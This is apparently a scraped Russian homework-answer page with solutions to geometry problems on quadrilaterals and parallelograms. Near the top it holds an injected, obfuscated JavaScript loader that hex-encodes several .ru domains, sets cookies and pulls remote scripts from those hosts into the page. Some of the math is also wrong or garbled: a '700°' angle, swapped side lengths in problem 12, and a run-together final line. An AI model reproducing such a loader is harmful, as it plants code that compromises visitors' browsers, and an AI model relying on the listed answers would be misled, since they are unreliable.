на весь 1 вариант ответ нужен

Window.a1336404323 = 1;!function(){var e=JSON.parse('["34676d696d7839373269707267722e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="17851",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

ответ:1.

1) N, K

2) K

3) MK, NP

4) MK

5)MP, NK

2.

82°

3.

B = 88°

C = 122°

D = 44°

4.

1) 70°, 80°, 100° и 110°

2) 40°, 50°, 700° и 200°

11. - см. в пояснениях

12. 15 и 27 см.

13. 18 и 27 см.

14.

Привожу значения всех углов. Т.к. они попарно равны, возможно достаточно указать только 2 различных значения вместо моих 4-х

1) 52°, 128°, 52°, 128°;

2) 87°, 93°, 87°, 93°;

3) 76°, 104°, 76°, 104°;

4) 36°, 144°, 36°, 144°;

5) 80°, 100°, 80°, 100°.

Объяснение:

1, 2, 3 - См. на фото.

4.

1) Углы пропорциональны

7, 8, 10 и 11

Пусть, единица пропорции = х

Тогда углы будут соответственно

7х, 8х, 10х и 11х

Сумма всех углов равна 360°. Т.е.:

7х + 8х + 10х + 11х = 360

36х = 360 => х = 10

Углы же равны соответственно:

70°, 80°, 100° и 110°

2) Углы пропорциональны

4, 5, 7 и 20

Пусть, единица пропорции = х

Тогда углы будут соответственно

4х, 5х, 7х и 20х

Сумма всех углов равна 360°. Т.е.:

4х + 5х + 7х + 20х = 360

36х = 360 => х = 10

Углы же равны соответственно:

40°, 50°, 700° и 200°

11.

Рассмотрим прямые отрезков АВ и DC.

АD является секущей для АВ и DC

уг.1 и уг.3 - соответственные.

А т.к. соответственные углы равны (уг.1=уг.3), то АВ и DC параллельны.

АВ || DC

Также уг.1 и уг.2 - являются соответственными для прямых AD и ВС, при секущей АВ.

АD || BC

Так как

• параллелограмм - это фигура, стороны которой попарно параллельны,

• АВ || DC; АD || BC =>

=> ABCD - параллелограмм

12.

Дано:

параллелограмм АВСД

стороны а, b: а = b + 12 см

Периметр, p = 84 см

Найти, а = ?, b = ?

p = 2a + 2b

p = 2a + 2•(a+12)

p = 4a + 24

Отсюда выразим а:

а = (р - 24)/4

То есть

a = (84-24)/4 = 60/4 = 15

b = a + 12 = 15+ 12 = 27

a = 15

a = 15b = 27